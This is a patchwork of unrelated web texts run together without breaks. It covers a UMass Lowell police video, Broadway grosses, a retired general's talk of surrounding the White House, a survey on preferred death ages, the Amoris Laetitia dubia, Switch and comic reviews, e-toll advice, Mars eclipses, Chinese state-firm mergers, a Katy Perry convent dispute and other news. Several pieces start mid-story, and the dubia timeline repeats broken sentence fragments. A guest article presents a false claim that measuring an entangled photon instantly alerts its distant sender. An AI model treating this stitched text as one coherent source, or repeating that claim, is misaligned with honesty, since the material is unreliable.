I decided that before I publish anything about the video, it would be fair to get a comment from the UMass Lowell Police Department so I sent in an email that included a link to the video and some related questions. I quickly received a response from UMass Lowell Police Chief Randolph E. Brashears.
Chief Brashears did not respond to any of my questions, but assured me that his department “take[s] citizen complaints seriously.” Though he did not comment on the department’s policy with respect to recording police activity, he did say that “The students involved have nothing to fear from our agency as I did not see any violations of the law on their part from the short video clip.” He said he will get back to me when he finishes investigating the incident.
I suggest contacting the UMass Lowell Police Department to let them know that the behavior of the officer in the video is unacceptable. You can contact the department on their non-emergency phone line at 978-934-2398. You can email the department at police@uml.edu or you can email Chief Brashears directly at Randolph_Brashears@uml.edu.
I will post an update on this case as soon as more information becomes available.
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Also, you will find information on each show's historical grosses, cumulative grosses and other statistics on how each show stacked up this week and in the past.
Click Here to Visit the Broadway Grosses...
Up for the week by attendance was: WICKED (3.6%), ON YOUR FEET! (2.0%), MARVIN'S ROOM (1.4%), DEAR EVAN HANSEN (0.6%), WAR PAINT (0.2%), HELLO, DOLLY! (0.1%), THE LION KING (0.1%),
Down for the week by attendance was: A DOLL'S HOUSE, PART 2 (-18.7%), WAITRESS (-11.2%), SCHOOL OF ROCK (-10.1%), CHARLIE AND THE CHOCOLATE FACTORY (-8.8%), THE TERMS OF MY SURRENDER (-8.4%), 1984 (-8.3%), CATS (-7.9%), KINKY BOOTS (-7.8%), BANDSTAND (-6.6%), GROUNDHOG DAY (-6.2%), MISS SAIGON (-6.1%), THE PHANTOM OF THE OPERA (-4.5%), ANASTASIA (-4.1%), A BRONX TALE THE MUSICAL (-3.9%), NATASHA, PIERRE & THE GREAT COMET OF 1812 (-3.7%), THE PLAY THAT GOES WRONG (-3.0%), CHICAGO (-2.0%), ALADDIN (-1.4%), PRINCE OF BROADWAY (-0.5%), BEAUTIFUL (-0.4%), COME FROM AWAY (-0.3%), THE BOOK OF MORMON (-0.2%),
Click Here to Visit the BroadwayWorld Grosses...
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Paul Vallely, a retired major general and senior military analyst for the conservative news channel, told the Surprise, Arizona, Tea Party Patriots during a Dec. 3 speech that other retired military personnel and veterans groups had contacted him about the possibility.
“I had a call this afternoon from Idaho, the gentleman said, ‘If I give you 250,000 Marines to go to Washington, will you lead them?’” Vallely said as the group laughed and gasped. “I said, ‘Yes, I will, I’ll surround the White House and I’ll surround the Capitol building, but it’s going to take physical presence to do things.”
Vallely, who has suggested a variety of extra-constitutional remedies to remove President Barack Obama from office, said extraordinary means were necessary to achieve the legislative results he wanted.
“Writing letters to these senators and congressmen, I am so frustrated because nothing happens,” Vallely said. “I’m not inciting a revolution, but we’ve got to get more physical and stand up and protest.
He said such a protest would be a continuation of Tea Party activism.
“The great things the Tea Party did, I mean, they were out there in the community, standing up, being seen,” Vallely said. “They did things, so we’ve got to go based on what the Tea Party has done and elevate it into something and get more younger people involved. So I don’t know how else to do it.”
The retired general has suggested that a new George Washington could be drawn from the ranks of retired military personnel to lead an insurrection because his aims could not be achieved even through this year’s congressional midterm elections.
“I don’t want to be criticized for starting a revolution, but I’d certainly head it if we had to,” Vallely said as the crowd applauded. “We all love a good fight if it’s worth it, right?”
Listen to this audio clip posted online by Right Wing Watch:
The question of what others considered a good age piqued my interest, so I created a survey asking nerdfighters what age they would have chosen (54 participated).
The majority of individuals chose ages between 70 and 90. Interestingly, the average age was 78.13 years old, which is almost spot on with the approximate life expectancy for a U.S. citizen (which is around 79 years depending on date of birth - click the link for other country’s expectancies as well). However, when broken down by sex of the individual, men were more risk-seeking with an average age of 80.5**, whereas women averaged 74.45. This is actually the reverse pattern in terms of life expectancy with men expected to live to around 76 and women around 81. This finding supports research demonstrating that males are more risk-seeking when it comes to the domain of health.
It is worth noting that although life expectancy is a decent metric to consider when it comes to the overall health of a nation, it falls a bit short at the level of the individual. This is because a single number does not capture the variability or shape of the distribution. For example, a female who is 80 years old actually has about a 50% chance of living 10 more years! Furthermore, when it comes to individual life expectancy, people actually tend to underestimate how long they will live (as many did in this survey), which has negative implications for things like retirement planning. Overall, individuals do tend to be risk-averse when it comes to choosing between a sure thing or a risk, even if the risk yields superior outcomes (e.g., most people prefer a certain $200 over a 1/3 chance of $600).
Ultimately, for most people the answer to this question is probably not as simple as entering one’s demographics into a formula. When making decisions, it is rarely raw numbers that lead to decisions, but what meaning people extract from those numbers. People may focus on important markers in their lifetimes - meaningful events that they would not want to miss. For example, John focused on his 50th anniversary as an important date that he would like to experience.
Although focusing on meaningful life events can be a useful way to think about this question, one’s ability to complexly imagine which events will be important as you age may be limited. In fact, research has shown that your brain essentially treats thoughts about your future self as if you were thinking of another person. In other words, you may think you know when you are ready to die at your current age, but that date may change as you get older. As you can see in the figure below, older participants tended to choose higher numbers than younger participants.
Although it is unlikely that any of us will face this exact conundrum at any point in our lives, this mental exercise has provided a lens with which to examine how we make decisions. It has shown us how one’s aspiration can encourage risk-taking with a promotion focus) whereas one’s fears can lead to risk-aversion (via prevention focus). It has illuminated sex differences that exist with regards to risky decision-making, with men preferring to take bigger risks (a tendency that ironically may also contribute to their lower life expectancy). Finally, it allowed us to see the difficulty in imagining what our future selves will value, giving a whole new meaning and importance to the phrase “imagine others complexly”.
*Please check out the Deciderata youtube channel for more videos that approach interesting questions from a psychological perspective!
Patrick Quinn is free on $2,000 bond after his weekend arraignment in the Houston-area.
In a statement, the Harris County District Attorney’s Office says a woman reported Quinn, an officer with the Cypress-Fairbanks school district, stopped her vehicle August 11 and said he smelled marijuana in it. After a search, Quinn said he found a marijuana grinder. The woman said it was hers.
Quinn then told her he’d release her if she’d let him smell her feet, then asked for a piece of her underwear. When she handed it to him, he reconsidered and released her.
Update:
Here’s a trailer:
Original (2/28): At the end of last week, the full Switch eShop lineup was announced for Japan. One of the announced games was Soratobu Bunbun Baan, coming from Kersploosh! developer Poisoft. We now not only have first details about the title, but also a confirmation that it’s launching around the world (North America, Europe, Australia, Japan) on the same day – March 3.
Vroom in the Night Sky will be the final English title. It’s about Magical Girls racing with bikes instead of brooms, and their objective is to gather Stardust.
The game will also make use of Switch’s HD Rumble feature to simulate engine vibration, wind pressure, and impact. The vibration will change with each type of motorcycle. Stardust collected are used to purchase new Magical Bikes.
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On 19 th September 2016, four Cardinals – Caffarra, Burk, Brandmueller and Meisner – present 5 dubia or requests for clarification to the Pope concerning certain ambiguities in Amoris Laetitia.
September 2016, four Cardinals – Caffarra, Burk, Brandmueller and Meisner – present 5 dubia or requests for clarification to the Pope concerning certain ambiguities in Amoris Laetitia. On 19 th November 2016, having received no answer, the four Cardinals publish their dubia.
November 2016, having received no answer, the four Cardinals publish their dubia. On April 25 th 2017, the four Cardinals write to the Pope asking for an audience, enclosing an “audience sheet” setting down what they wish to discuss with him.
2017, the four Cardinals write to the Pope asking for an audience, enclosing an “audience sheet” setting down what they wish to discuss with him. On June 19th 2017, the letter of the four Cardinals, which has received no response, is published.
So what is going on here? It is really very simple. The Pope does not want to answer the five dubia, all of which are simple yes or no answers. The reason for this is equally simple. If the Pope answers one way, he contradicts the Magisterium of his predecessors. If he answers another way, he effectively destroys what he has tried to do with Amoris Laetitia, that is, introduce a change of practice in the Church which per se means a change of doctrine. So, the Pope continues to sit on the fence, trying to have it both ways, while the four Cardinals try to push him off it, one way or another, hoping, or knowing, that if forced off the fence there is only one possible way for him to jump.
Interestingly, by refusing to answer the dubia, the Pope has in a certain sense given an answer of sorts. His refusal to answer effectively means that he is not endorsing, at least not officially, the guidelines of the Maltese bishops and others. What the Maltese bishops say remains a local pronouncement, not official Church teaching, even if it may have been published in the Osservatore Romano. What the Maltese bishops teach in their guidelines can be nullified by the Pope or his successors in the Chair of Peter.
But here we run into the chief concern of the Four Cardinals. It is confusing, indeed more than confusing, it is intolerable, for it is dangerous to the credibility of the Church, that what should be considered good in Germany should be considered wrong in Poland. This is not Catholicism, it is rather national churches on the Anglican or Orthodox model. If this ambiguity is allowed to continue, the consequences will be catastrophic.
Furthermore, it simply cannot be the case, for it has never been the case before, that one Pope can contradict the Magisterium of his predecessors. Amoris Laetitia has to be read in continuity with Familiaris Consortio and Veritatis Splendor. If it somehow “replaces” Familiaris Consortio and Veritatis Splendor, are people like me, whose teaching in seminary was based on those two documents, now to “unlearn” them? Have they been corrected? Were they for a time only? Or were they of permanent significance? But if Amoris Laetitia is to replace the previous magisterial documents, then what may replace Amoris Laetitia twenty years from now?
As the dubia make clear, one interpretation of Amoris Laetitia strikes at the heart of Catholic moral teaching as everywhere and always understood. In a sense there can only be one answer to the dubia, and that is that the traditional teaching must stand, and that Amoris Laetitia must be read in the light of that teaching alone.
Anyone who has been reading what I have written on this subject knows by now that I stand with the four Cardinals. So do many others, Cardinals, bishops, priests, deacons and laity.
China has launched the first quantum communication satellite last year bringing the humanity on the verge of a huge jump in communication technology. Considering light as the carrier of the quantum information, the Chinese satellite is primarily designed to test the robustness of quantum entanglement, a bizarre property of quantum systems responsible for quantum computation and quantum communication. Furthermore, this first quantum satellite will probe not only high security data encryption but also a new way of data transfer as quantum information encoded in properties of the light particles, photons.
The quantum communication revolution may prove importance in transferring data at far distances and so, in communicating with our peer intelligence life in the universe.
Is quantum communication through light the answer to our long search for the Extraterrestrial intelligence (ETI) signals?
Quantum information processing in Nature
As weird as may sound considering our actual technology of exploring the physical reality, quantum communication might be the primarily way of information transfer in the universe, as a recent article suggests [1] . According to the article, light travelling in the deformed spacetime close to the spinning black holes is constrained to encode and process quantum information pretty much like the information is manipulated in our actual laboratory quantum computers.
Following the curved and twisted lines of the distorted spacetime photons encode quantum bits of information in defined sequences that could make one to think of computer program lines of a code. When eventually escape the black hole influence, photons in the light beams are endowed with simple quantum codes that we may interpret and asses the information they contain.
Since quantum computation and quantum communication seem natural phenomenon occurring in the universe, it might look genuine to consider quantum communication with light as the proper way advanced civilization exchange information.
Searching for extraterrestrial quantum messages
We already have the technological capabilities to detect and measure quantum information encoded in light. Accordingly, many university laboratories and private companies around the world are testing quantum technology in all aspects of their applicability, from encoding quantum algorithms in photons, to transferring quantum bits at significant distances and to storing quantum information.
The technological equipment researchers are using now in labs may well serve to analyze the light captured by telescopes from outer space and measure the quantum information stored in every photon. Moreover, pointing the telescope in the right direction in space, considering all the earth-like exoplanets [2] lately discovered by NASA, our chances to detect quantum signals increase.
Initially, we may only detect and measure elementary quantum states exhibiting a certain extent of quantum entanglement or even maximally entangled Bell states. This is a clear sign that we are not alone.
Although, we may detect and decode fragments of quantum information stored in the astronomical light, to properly identify the encoded message we need some special tools.
Quantum computation
Detection the quantum information encoded in light might be the premise to quantum communicating with ETI, but still it not resolves the problem of interpreting the content of the message. The required instrument that hypothetically may arrange the detected quantum states in the right sequence to decipher the quantum message is the quantum computer. Harnessing the computation tremendous power of quantum computers quantum states of photons may be put together in the right order to form the intelligible output.
The efforts to create a functional quantum computer are now in the final stage of moving the final product out of laboratory and implement it on the industrial level. In the not so distant future quantum computation will be part of our daily routine.
Still, the fact that we will not be able to properly interpret the quantum message we may detect from outer space intelligent life should not affect our quantum search for ETI; even the SETI program if will one day detect an extraterrestrial signal, most probably won’t be able to immediately decrypt its content.
Instant alert
Another key ingredient in the attempt to quantum communicate with other intelligent forms of life in the universe is a mean to decrypt quantum messages. We should need a quantum key. The quantum key ensures the security of the communication and endow the receiver with the necessary tool to properly asses the content of the message. In the absence of the quantum key we may not be able to properly decipher a hypothetical quantum message ETI may communicate.
Although the quantum key is missing, we should emphasize here a remarkable property of quantum entanglement. Thus, the measurement of the quantum state of one photon of an entangled pair instantly decays the state of the other. Roughly speaking, when we will first detect and measure the quantum information encoded in photons by ETI, the sender of the message will intently be avert. Our first quantum measurement acts like an “alert button”, instantly alerting the sender ETI that another technological superior civilization in the universe is raising.
In conclusion, all we have to do is to measure the quantum information stored in one tiny photon to connect ourselves to the “universal quantum internet”.
By Ovidiu Racorean
Ovidiu Racorean’s research interests are the boundary applications of quantum computing, from finance to the Universe at large. He currently works as a head of research for a large London based hedge fund. This is Ovidiu’s second article as guest writer on QuantumBits
SOURCE:
[1]. Quantum gates implementation by X-ray single-photons around rotating black holes – https://arxiv.org/abs/1702.04640
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The Adventures of Jellaby As always, a treat. Good for kids!
Atomic Robo Action geology! Atomic Robo, as always, delivers for Free Comic Book Day.
Avatar A Lady Kyoshi story! Itty Bitty Hellboy! AWESOME.
Gossamyr/Past the Last Mountain Lovely art, intriguing stories.
Help the CBLF Defend Comics The first half is a brilliant history of Dr. Frederick Wertham, the Comics Code Authority, and censorship of American comics in mid-century USA. More than enough to make up for some of the shorter stories being a bit on the nose.
Hip Hop Family Tree I'm a sucker for non-fiction in comics. What I don't know about Hip Hop could fill several books. Hip Hop Family Tree, from which this is an excerpt, is undoubtedly one of them.
Kaboom! Summer Blast This could have been nothing but the Adventure Time and Steven Universe comics and I woulda been happy, but the rest were also quite enjoyable!
Manga Classics Les Miserables/Pride & Prejudice A real treat for fans of either original work.
Showa: A History of Japan Definitely a series I wouldn't mind reading more of.
Spongebob Freestyle Funnies OMG Maris Wicks science comic! Good for kids! But I expect you had already guessed that.
Top Shelf Kids Club Yes, good, more please, especially the Coraline-like Maddy Kettle.
Uncle Scrooge and Donald Duck Duck comics from Carl Barks, or just in his style, you can't go wrong. Good for kids!
All You Need is Kill/Terra Formers All You Need is Kill: Based on the novel that Tom Cruise movie is based on. Nice to see a female character highlighted. Terra Formers: Absolutely not enough context for me to understand or care about the larger manga this is excerpted from.
Archie Digest What it says on the tin.
Bongo No Futurama comic? I am disappoint.
Buck Rogers Buck Rogers strips from various eras.
Far from Wonder Ben Templesmith's art is always a treat, but I don't find the story here particularly compelling, and the chosen issue's treatment of female characters shades towards the trite.
Hello Kitty and Friends I had no idea Hello Kitty was so cute. Also, bonus Catbug art!
Guardians of the Galaxy Marvel's smart, working to make sure everybody knows about their new weird movie. Hard to say how well folks unacquainted with comics will take the Thanos and Spider-Man previews, however.
Mighty Morphin Power Rangers NOSTALGIA
Project Black Sky Interesting set up and story. The art is a little too referenced for my taste, but interesting.
Raising a Reader Helpful info on using graphic novels in children's education.
Rise of the Magi Forgettable, but inoffensive.
Rocket Raccoon Good for kids, and also amusing for adults.
Scratch 9/Run & Amuk Scratch 9: Typical kids stuff, but it does have President Obama punching the head of his evil robot double.
Skyward/Midnight Tiger Typical fantasy story, cute African-American superhero origin.
The Smurfs First half is classic Smurf comics, but my advice is flip to the middle for the Ariol story and some neat dinosaur facts!
Street Fighter Pretty decent. I can see it being a real treat for fans of the game, as well.
The Tick Cute. /shrug
The Zoohunters/Damsels in Excess The Zoohunters: A feast for the alien-opera loving eyes in the style of Saga that could turn out to have a neat little story within it as well. Damsels in Excess: T&A masquerading as female empowerment with a misandrist villain to boot.
2000 AD Probably nice for Dredd fans, and with a neat story here and there, but I found most of them mostly mindless.
Armor Hunters/Rai I knew as much at the end of the comic as I did from reading the title.
Bleeding Cool Bleeding Cool's Free Comic Book Day is more of a magazine than a comic.
Entropy Difficult to read in its graphics, its lettering, and ultimately, its content.
Epic I was with this until the teen superhero's secret weakness turned out to literally be the presence of cute girls. Gag me with a spoon.
Fubar I know there's an audience out there for very serious and gory Iraq/Afghanistan war stories where the Taliban has developed a bioweapon that turns people into zombies, but it is not me.
Grimm Fairy Tales Generic nice fantasy people fight generic bad fantasy people.
The Intrinsic Cute, and I love the multicultural cast, but ultimately doesn't make me interested in reading more.
Magic Wind Poorly translated old west nostalgia that does nothing to subvert the racist overtones of the genre.
Megaman/Sonic the Hedgehog I found this one pretty forgettable, but maybe it's not so much for fans?
Overstreet's Comic Book Marketplace For those who aren't familiar with the comics world's most famous guide to the after market value of issues, this is not a comic, but a magazine.
Giant-Size 4-Comic Bundle Pandora's Blogs/Duel Identity: When they say leave your readers with questions, they mean to making them interested in knowing more, not to confuse them. Magika/The First Daughter: Good for kids/tweens. Tesla: Unamused by the portrayal of Marie Curie as a jealous woman. Also, Mark Twain's friends didn't call him "Mark." Wayward Sons: Forgettable. Shadow Children/Darchon: Could turn out to have some interesting stuff in it./Laughably self-serious.
Scam: Crosswords Scarred-up hit man has grim outlook on life that someone thought would make him cool instead of generic.
Sherwood Texas/Boondock Saints Sherwood Texas: Forgettable. Boondock Saints: Forgettable with shades of racism.
Steam Wars Cute concept, but the transformation of Princess Leia — I mean, Duchess Imoen — into someone who accepts Han Solo's — I mean, Hansel Lowe's — authority immediately, hesitates to take a gun from him when offered, and shouts "eek!" when coming under fire ultimately turned me off completely.
Uber Interesting enough as a sci-fi concept, but I can't help but be disappointed that it's not a comic.
Obama announced to the public Saturday that he wanted to launch a military strike, but that he first would seek approval from lawmakers.
The administration officials described a president overriding all his top national security advisers, who believed Obama had the authority to act on his own.
But these officials say the president spent much of the week wrestling with Congress' role in authorizing force and made the decision Friday night after a lengthy discussion with his chief of staff, Denis McDonough.
According to industry experts, though, current regulations prevent the authorities from withholding a licence over e-toll debt.
This was acknowledged by Minister of Transport Dipuo Peters, who said the e-toll review panel was aware that legislative changes will be needed to link licence disc renewals to e-tolls.
Despite this acknowledgement, there is still concern that motorist who have outstanding e-tolls, or do not own an e-tag, will be targeted by law enforcement agencies – as was the case in 2014.
What to do if stopped over e-tolls
Outa’s chairman Wayne Duvenage said the authorities have no right to ask a driver about outstanding e-toll bills, and the driver can always reply “I don’t know” to questions on money owed to Sanral.
“Remember, the police are only doing their job and it helps to be respectful and courteous to them. Always be polite,” said Duvenage.
He said handing over your driver’s licence, off which your name and ID can be recorded, is a requirement of a police stop.
As for e-tags: “With the proposed changes, the need for an e-tag has fallen away. They can’t make anyone register for anything they don’t want to. That would be tantamount to the [police] asking the driver if they have registered for a TV licence. It has nothing to do with them.”
Justice Project South Africa has stated that motorists should always pull over when instructed to do so by law enforcement agencies, and always remain clam and polite.
“If the officer issues you with an infringement notice, sign for it when you are asked to do so. It is not in your interests to try and argue a case at the roadside. Remember that a traffic officer is not a magistrate, and the roadside is not a court.”
If you are asked questions about e-tolls, immediately ask the person who is asking those questions to call their regional commander to come and speak with you, says JPSA.
“We have been assured by a Chief Provincial Traffic Inspector at the Gauteng Department of Community Safety that his officers have been specifically instructed not to make any enquiries of members of the public with respect to e-tolls.”
In summary
Always stop when requested to do so by a law enforcement official.
Be polite and courteous when interacting with law enforcement officials.
Hand over your driver’s licence if requested to do so.
You have the right to say “I don’t know” when asked about outstanding e-toll bills, or request to speak to a commanding officer.
You are not required by law to have an e-tag in your car.
Sign and accept infringement notices issued by law enforcement officials.
Do not try and argue a case at the roadside.
More on e-tolls
E-tolls could have been much worse: report
“My wife pays e-tolls – she is stupid”
NASA's Curiosity rover has captured two stunning videos of solar eclipses from the surface of Mars, including one that shows the Red Planet's skies darkening dramatically above the 1-ton robot.
Curiosity recorded the two Mars solar eclipse videos on back-to-back days last month, Aug. 19 and Aug. 20. In both cases, Phobos — the larger of Mars' two tiny moons — blotted out much of the sun's disk.
Mission team members created the two eclipse videos, which NASA released Thursday (Sept. 5), by stitching together photos Curiosity snapped with its workhorse Mast Camera — 52 images for the Aug. 19 eclipse and 89 pictures for the event one day later. [Watch Curiosity's video of a solar eclipse shadow on Mars]
Phobos is just 14 miles (22 kilometers) wide on average, but it still manages to take a pretty big bite out of the sun during an eclipse seen from Mars. That's because the tiny satellite orbits very close to the Red Planet's surface — just 3,700 miles (6,000 kilometers) away.
For comparison, Earth's moon is about 2,160 miles (3,476 km) wide but zips around our planet at an average distance of 239,000 miles (384,600 km). That's just the right combination of size and distance to completely cover the sun's face, creating a total solar eclipse here on Earth when the alignment works out right.
This set of three images taken three seconds apart by NASA's Curiosity rover shows the larger of Mars' two moons, Phobos, passing in front of the sun on Aug. 20, 2013. (Image: © NASA/JPL-Caltech/Malin Space Science Systems/Texas A&M Univ. )
Scientists think both Phobos and Mars' other minuscule satellite, Deimos, are former asteroids captured by the Red Planet's gravity long ago.
Phobos orbits Mars every eight hours, while the more farflung Deimos (average orbital distance: 12,470 miles, or 20,070 km) completes one lap every 30 hours or so. But neither moon will be in its current orbit forever; Deimos is speeding up, while Phobos is slowing down.
Curiosity's eclipse observations should help refine scientists' understanding of the two moons' orbits, mission team members have said.
The Curiosity rover landed inside Mars' huge Gale Crater in August 2012 to determine if the Red Planet has ever been capable of supporting microbial life. In March, rover scientists announced that an area near the mission's landing site called Yellowknife Bay was indeed habitable billions of years ago.
Curiosity is now embarked on a long drive to the foothills of the towering Mount Sharp, whose many layers preserve a record of Mars' changing environmental history over time.
The consolidation will first take place in commercial sectors, especially in competitive industries, said the official newspaper Economic Information Daily, quoting an anonymous authority.
"Resources will be increasingly concentrated on large enterprises to avoid cut-throat competition, like what CSR Corp Ltd and China CNR Corp Ltd did when competing against each other for projects overseas," the newspaper said.
The restructuring plan is critical to President Xi Jinping's broader push to raise the performance of China's lumbering state sector, at a time when Beijing struggles to find the right policy mix to support the world's second-largest economy that grew in the first quarter at its slowest pace in six years.
The policy-directed merger of state-owned CNR and CSR, China's top two train makers, created a $26 billion company able to win global rail deals from rivals such as Germany's Siemens AG and Canada's Bombardier Inc.
"SOEs' non-core businesses, particularly in tertiary industry, will be sold publicly on the capital market," the newspaper quoted the authority as saying.
Avoiding the loss of state assets will be "the most important and core requirement" when mergers that involve sensitive assets take place, the newspaper said.
Earlier this month, Beijing committed to stepping up public scrutiny of state firms' financial and performance information as well as changes of enterprise leadership, to increase transparency and fight corruption.
The Central Commission for Discipline Inspection, the ruling Communist Party's top graft-buster, is also intensifying its two-year inspections of state firms in strategic sectors.
In recent weeks, China FAW Group Corp Chairman Xu Jianyi, Baosteel Group Vice President Cui Jian, and a general manager at China National Petroleum Corp were put under investigation for corruption.
Currently, the central government owns 112 conglomerates, including 277 public firms listed on the Shanghai or Shenzhen stock exchanges with a market capitalization of more than 10 trillion yuan ($1.61 trillion), according to the newspaper.
As you can see from the picture below, when you go to the Fido Website and select “Phones & Devices” they now only offer iPhone, Android, Windows Phone and regular phones. BlackBerry is nowhere to be seen. It’s interesting to note, Fido’s main competitors – Koodo, Virgin and Wind – all still offer BlackBerry devices.
In confirmation, coming from the @Fidosolutions Twitter account, Fido has indicated that it no longer is selling BlackBerry models.
@JennAnnis Hi Jenn! We no longer sell BB models, though they may still be available at some points of sales. ^fm — Fido Solutions (@FidoSolutions) March 16, 2014
The state Department of Revenue’s Medical Marijuana Enforcement Division will pay attorney H. Alan Dill nearly $1.3 million in rent over the five-year term of the lease, which was signed in December. The agency moved into the space in May, after remodeling work done at Dill’s expense. The leasing documents list Dill as the landlord.
Dill is managing partner of the Denver law firm Dill Dill Carr Stonbraker & Hutchings, which has its offices directly across the hall from the Medical Marijuana Enforcement Division’s new space at 455 Sherman St.
On its website, the firm says it provides “medical marijuana business consultation and licensing services for all aspects of the industry,” in addition to expertise in other legal areas.
The coziness of the quarters has raised some eyebrows in the medical-marijuana community and given critics of the Medical Marijuana Enforcement Division, or MMED, new ammunition.
“As high of standards as the MMED tries to hold the industry to, they should also try to hold themselves to high standards and avoid even the appearance of impropriety,” said Laura Kriho of the Cannabis Therapy Institute.
But Department of Revenue spokesman Mark Couch denied that the lease arrangement creates a conflict of interest.
“The fact that they may have business before the state doesn’t mean they will get special treatment from the state just because they’re our landlord,” Couch said.
Dill did not return a call for comment.
The MMED is responsible for administering Colorado’s laws and regulations for the medical-marijuana industry, which proponents have described as the most comprehensive in the nation. Agency employees oversee thousands of dispensaries, makers of marijuana-infused products, and growing facilities.
MMED officials began searching for new office space last summer. The state’s tenant broker rounded up a list of 40 possible locations in the metro area, and state officials toured 20, Couch said.
But early in the process, MMED officials already had their eyes on the 455 Sherman location, according to documents provided to The Denver Post as the result of an open-records request. On Aug. 9, Dan Hartman, who is now director of MMED, sent an e-mail to the tenant broker asking the broker to make sure 455 Sherman would be on the list of candidates.
“I have seen this space and think it really works well for us,” Hartman wrote. “We may have to carve our space out of it but that is acceptable to the landlord.”
A month later, officials appeared to have settled on two finalists — the space at 455 Sherman and another at 990 S. Broadway. In an e-mail, the tenant broker, Joe Hollister, describes the Sherman offices as “a gut and rebuild” and the Broadway offices as “an existing Plug’n’Play space.”
Couch said he didn’t know specifically why state officials chose the Sherman space over the Broadway space.
The Department of Revenue declined to make Hartman available for an interview. Couch said the Sherman offices required only a “minor remodel.” And, while an advertisement for the Broadway offices listed a lower rent price of $14.50 per square foot per year, the amount settled on for the Sherman offices — a first-year rate of $16.20 per square foot per year — is in line with the advertised rates on the other locations considered, according to the records.
“We chose what we thought was the best fit for our need at the best price we could get,” Couch said.
While Dill’s law firm’s website says the firm represents “a number” of medical-marijuana businesses, the documents provided paint a foggy picture of how much contact the firm’s attorneys have had with MMED officials.
In one e-mail, an MMED staffer forwards Hartman’s contact information to Alan Dill, noting that Hartman “mentioned that he recently met with you.”
In another e-mail, an MMED employee sends another attorney at the law firm, Robert Dill, a letter from Hartman thanking Dill for his participation in the agency’s rulemaking advisory group.
“Your assistance in creating the first round of Medical Marijuana rules is very much appreciated,” Hartman wrote.
Several people in the medical-marijuana industry declined to comment on MMED’s lease deal, not wanting to be seen as critical of an agency that regulates their businesses. Hartman, in particular, has a reputation among industry members as someone who listens to and is responsive to their concerns.
Medical-marijuana attorney Sean McAllister said he had heard about the lease arrangement but said it would be unwise to jump to conclusions.
“I have total and complete faith in the integrity and ethics of Dan Hartman and the Medical Marijuana Enforcement Division,” McAllister said.
Pop star Katy Perry has reportedly had her eye on a mansion in the Los Angeles suburb of Los Feliz for years. Now it’s up for sale, but there’s just one problem: its previous residents, five elderly nuns, don’t want to sell to her.
It’s not that ‘Roar’ singer hasn’t tried to convince the sisters of the Order of the Immaculate Heart of Mary. She even went so far as to stage a private performance for them, singing ‘Oh Happy Day’. The nuns, however, were reportedly unimpressed by the fact that Perry had to read the lyrics on her smartphone and nonplussed by the tattoo of Jesus on her wrist.
The nuns ... seemed to indicate that they don't much care for Katy Perry's style of entertainment. Michael Cieply, New York Times
‘Perry's representatives want to make clear that the archbishop begged her to go and talk to the nuns, that it wasn't her idea, that she went at his behest,’ New York Times Hollywood reporter Michael Cieply told RN Breakfast.
‘It didn't turn out well. One of the puzzlements of this, though, is that the nuns ... seemed to indicate that they don't much care for Katy Perry's style of entertainment, but when I spoke to them about two days later they just as adamantly insisted that this has nothing to do with any moral objections to Katy Perry, that it was all about the terms of the deals.’
The heart of the dispute is a disagreement between the five nuns and the archbishop of Los Angeles, Josè Gomez. The archbishop prefers Perry’s $10 million offer, while the nuns favour an offer from a restaurant and hotel developer.
‘Either of the deals will ultimately work to the benefit of the nuns because no matter who buys this, as long as the five of them are alive, they get the use of the up to $15 million that will be paid. Yet they adamantly don't want to sell to Katy Perry and the archbishop just as adamantly does,’ said Cieply.
‘The nuns strongly believe that if they take the deal from the developer that they will be in control of the money completely and the archbishop and his lawyers argue that that is simply not correct, and that the nuns, who have not lived on the property for years now, since 2011, have had their civil affairs under the supervision of a priest in Los Angeles who has the actual authority to conduct their affairs.’
What’s unclear is whether the dispute is actually about the money, moral opposition to Perry or the nuns’ objecting to the archbishop’s authority. The sisters have even gone so far as to request help from Pope Francis—and as it turns out the decision may go all the way to the Holy See.
‘There will be a hearing July 30, the judge is being asked to issue an injunction blocking the sale to the developer and that would operate in favour of Katy Perry,’ said Ciepry. ‘But the ringer is that any deal of $7.5 million or more has to go to the Vatican anyway.’
Katy Perry at odds with nuns over sale of former Los Angeles convent Wednesday 8 July 2015 Listen to RN Breakfast to hear more about the standoff between pop superstar Katy Perry and a group of elderly nuns. More This [series episode segment] has image,
RN Breakfast is the show informed Australians wake up to. Start each day with comprehensive coverage and analysis of national and international events, and hear interviews with the people who matter today—along with those who’ll be making news tomorrow.
While the cannabis community has largely rallied behind Bernie Sanders’ campaign, thanks to his call to end cannabis prohibition and other criminal justice reforms, but the largest marijuana law reform PACs mostly saving their resources for state ballot measures. Without big donors, in the cannabis industry, or really any industry for that matter, Bernie Sanders relies upon small contributions to keep up with the large establishment financial backing enjoyed by Hillary Clinton.
My wife and I have pitched in more than we have for any candidate before and some local Portland cannabis entrepreneurs have found unique ways to support Sanders’ candidacy. As our Carl Wellstone experienced first-hand, Foster Buds dispensary is providing 10% of proceeds from pre-rolled joint sales to Sanders and apparently, business is good as cannabis consumers are flocking to the shop to #FeelTheBern. Ceramics artist Ariel Zimm has been widely successful selling pipes adorned with Bernie Sanders’ logo and sending 10% to his campaign. Zimm has been so successful, that she has maxed out her $2,700 allowable personal donation to Sanders her Stonedware company has a backlog until June on the pipes.
Ending cannabis prohibition, as Sanders supporters, would greatly benefit the cannabis community and industry across the nation, in addition to being a better policy for the rest of the country. Illinois has a fledgling medical cannabis program while Ohio, Missouri and Florida hope to join the ranks of medical states this November. A Sanders presidency is still a possibility, and while it is, the cannabis community, drug law reformers and civil libertarians in general, should contribute as much as they can.
The 11-year-old who survived the Saturday incident during a scout outing on Lake O' The Pines in East Texas was taken to a hospital in Shreveport, Louisiana, Texas Parks and Wildlife said in a statement.
"Preliminary investigations and observations indicates the vessel, a Catamaran sailboat, collided with an overhead transmission power line and those onboard may have been electrocuted as a result," the statement said.
Game wardens found the boat on fire about 300 yards from power lines. Two boys were found dead on the scene with severe injuries, the statement said.
The survivor was picked up from the lake by passengers in a boat nearby, who provided CPR. He was airlifted from the scene, it said.
The three, who have not been formally identified, were all wearing personal floatation devices, it said.
"This is an extremely difficult time for our Scouting family," the Boy Scouts of America's East Texas Area Council Chief Executive Dewayne Stephens said in a statement on Saturday.
"Our thoughts and prayers are with the victims' families. We will support them in any way that we can," he said.
(Reporting by Jon Herskovitz; Editing by Richard Chang)
